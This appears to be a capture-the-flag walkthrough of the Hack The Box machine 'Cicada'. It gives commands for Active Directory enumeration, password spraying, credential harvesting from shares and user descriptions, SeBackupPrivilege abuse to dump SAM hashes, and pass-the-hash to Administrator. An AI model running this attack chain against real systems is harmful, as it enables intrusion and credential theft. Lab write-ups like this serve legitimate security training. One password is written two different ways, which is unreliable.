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Cicada - Easy

sudo vim /etc/hosts
# map cicada.htb

nmap -T4 -p- -A -Pn -v cicada.htb

  • Open ports & services:

    • 53/tcp - domain - Simple DNS Plus
    • 88/tcp - kerberos-sec - Microsoft Windows Kerberos
    • 135/tcp - msrpc - Microsoft Windows RPC
    • 139/tcp - netbios-ssn - Microsoft Windows netbios-ssn
    • 389/tcp - ldap - Microsoft Windows Active Directory LDAP
    • 445/tcp - microsoft-ds
    • 464/tcp - kpasswd5
    • 593/tcp - ncacn_http - Microsoft Windows RPC over HTTP 1.0
    • 636/tcp - ssl/ldap - Microsoft Windows Active Directory LDAP
    • 3268/tcp - ldap - Microsoft Windows Active Directory LDAP
    • 3269/tcp - ssl/ldap - Microsoft Windows Active Directory LDAP
    • 5985/tcp - http - Microsoft HTTPAPI httpd 2.0
    • 54571/tcp - msrpc - Microsoft Windows RPC

  • Checking DNS:

    dig ns cicada.htb @10.10.11.35
# we get a domain cicada-dc.cicada.htb

dig any cicada.htb @10.10.11.35
# we get another domain hostmaster.cicada.htb
# we can revisit these later

  • Checking for RPC info:

    rpcclient -U "" cicada.htb
# empty password

srvinfo

enumdomains
# NT_STATUS_ACCESS_DENIED
# other queries also get denied

  • Enumerate LDAP:

    ldapsearch -H ldap://cicada.htb -x

# use namingcontexts flag
ldapsearch -H ldap://cicada.htb -x -s base namingcontexts

# use DC values found
ldapsearch -H ldap://cicada.htb -x -b "DC=CICADA,DC=HTB"

ldapsearch -H ldap://cicada.htb -x -b "DC=cicada,DC=HTB" "objectclass=user" sAMAccountName
# no luck

  • Enumerate SMB:

    smbclient -L \\\\cicada.htb
# we have a couple of non-standard shares

smbclient \\\\cicada.htb\\DEV
# no password works, but cannot list contents

smbclient \\\\cicada.htb\\HR
# we can access the contents

dir
# we have a text file

get "Notice from HR.txt"

exit

less "Notice from HR.txt"

  • The text file gives us the default password used in Cicada Corp - "Cicada$M6Corpb*@Lp#nZp!8" - but we do not have an username yet; we do have an email ID 'support@cicada.htb'

  • To enumerate usernames, we can check using tools such as rpcclient and lookupsid.py (part of SMB enumeration):

    rpcclient -U "" -N cicada.htb
# this does not work

rpcclient -U "" cicada.htb
# this works with empty password, indicating anonymous login

locate lookupsid.py
# find script location

python3 /usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@cicada.htb
# as we had anonymous login supported, we can use the 'anonymous' username
# and check if SIDs can be bruteforced

# this gives us a bunch of usernames
python3 /usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@cicada.htb | grep SidTypeUser

# this does not work with '-no-pass', we need to try with and without mentioning username

# samrdump.py
python3 /usr/share/doc/python3-impacket/examples/samrdump.py cicada.htb

  • Using lookupsid with the 'anonymous' username, we get a few usernames (SidTypeUser) - we can copy them to a file and use for further AD enumeration:

    vim usernames.txtid
# paste all usernames found from lookupsid enum

vim passwords.txt
# paste the password found from the HR share

crackmapexec smb -u usernames.txt -p passwords.txt --shares cicada.htb --continue-on-success
# bruteforce and check for any valid creds

  • crackmapexec shows that the password found earlier is valid for the user 'michael.wrightson' - we can now try to get access using these creds:

    evil-winrm -i cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
# this does not work

python3 /usr/share/doc/python3-impacket/examples/psexec.py cicada.htb/michael.wrightson:'Cicada$M6Corpb*@Lp#nZp!8'@cicada.htb
# this also does not give us a shell

# try to check the SMB shares from earlier
smbclient -U michael.wrightson \\\\cicada.htb\\DEV
# does not work for other shares as well

# at this point, we can try using other tools from impacket for AD enumeration

python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py cicada.htb/michael.wrightson -all -dc-ip cicada.htb

python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py cicada.htb/michael.wrightson:'Cicada$M6Corpb*@Lp#nZp!8' -dc-ip cicada.htb -request

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip 10.10.11.35 cicada.htb/ -usersfile usernames.txt -request

# we can use the enum4linux-ng tool, we used the older version earlier

enum4linux-ng cicada.htb -AC
# -A for all basic enumeration
# -C for getting services via RPC

# we can try with known creds as well
enum4linux-ng cicada.htb -A -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
# this gives us another password

  • Using the enum4linux-ng tool with known creds, from the users found via RPC, for username 'david.orelious', the description mentions the cleartext password 'aRt$Lp#7t*VQ!3' - add this to known passwords:

    vim passwords.txt
# we have one more password now

# try bruteforce again
crackmapexec smb -u usernames.txt -p passwords.txt --shares cicada.htb --continue-on-success
# the second password is valid for 'david.orelious'

# we can try accessing the DEV share now using this password
smbclient -U david.orelious \\\\cicada.htb\\DEV

dir
# we have a script here

get Backup_script.ps1

exit

cat Backup_script.ps1

  • The Powershell script contains a cleartext password 'Q!3@Lp#M6b7tVt' for user 'emily.oscars' - one more password found:

    vim passwords.txt
# add this password as well

crackmapexec smb -u usernames.txt -p passwords.txt --shares cicada.htb --continue-on-success
# the creds for emily are valid too

evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
# we get remote access as emily

pwd
# we can get the user flag from emily.oscar Desktop

  • We can start with Windows enumeration now:

    whoami
# cicada\emily.oscars

whoami /groups
# check which groups we are a part of

whoami /priv
# check privileges
# we have the following tokens enabled - SeBackupPrivilege, SeRestorePrivilege, SeShutdownPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege

  • As SeBackupPrivilege & SeRestorePrivilege are enabled (this is because we are part of Backup Operators group), we can abuse them by creating a shadow copy and fetching some hives:

    # in evil-winrm session
reg save hklm\sam C:\Windows\Temp\sam

reg save hklm\system C:\Windows\Temp\system

download C:\Windows\Temp\sam /home/sv/cicada/sam

download C:\Windows\Temp\system /home/sv/cicada/system

  • We can try extracting hashes now in our attacker machine using secretsdump.py:

    python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam -system system LOCAL
# this gives us hash for Administrator, we can use it for PtH

evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb
# this works
# we can get root flag from Administrator Desktop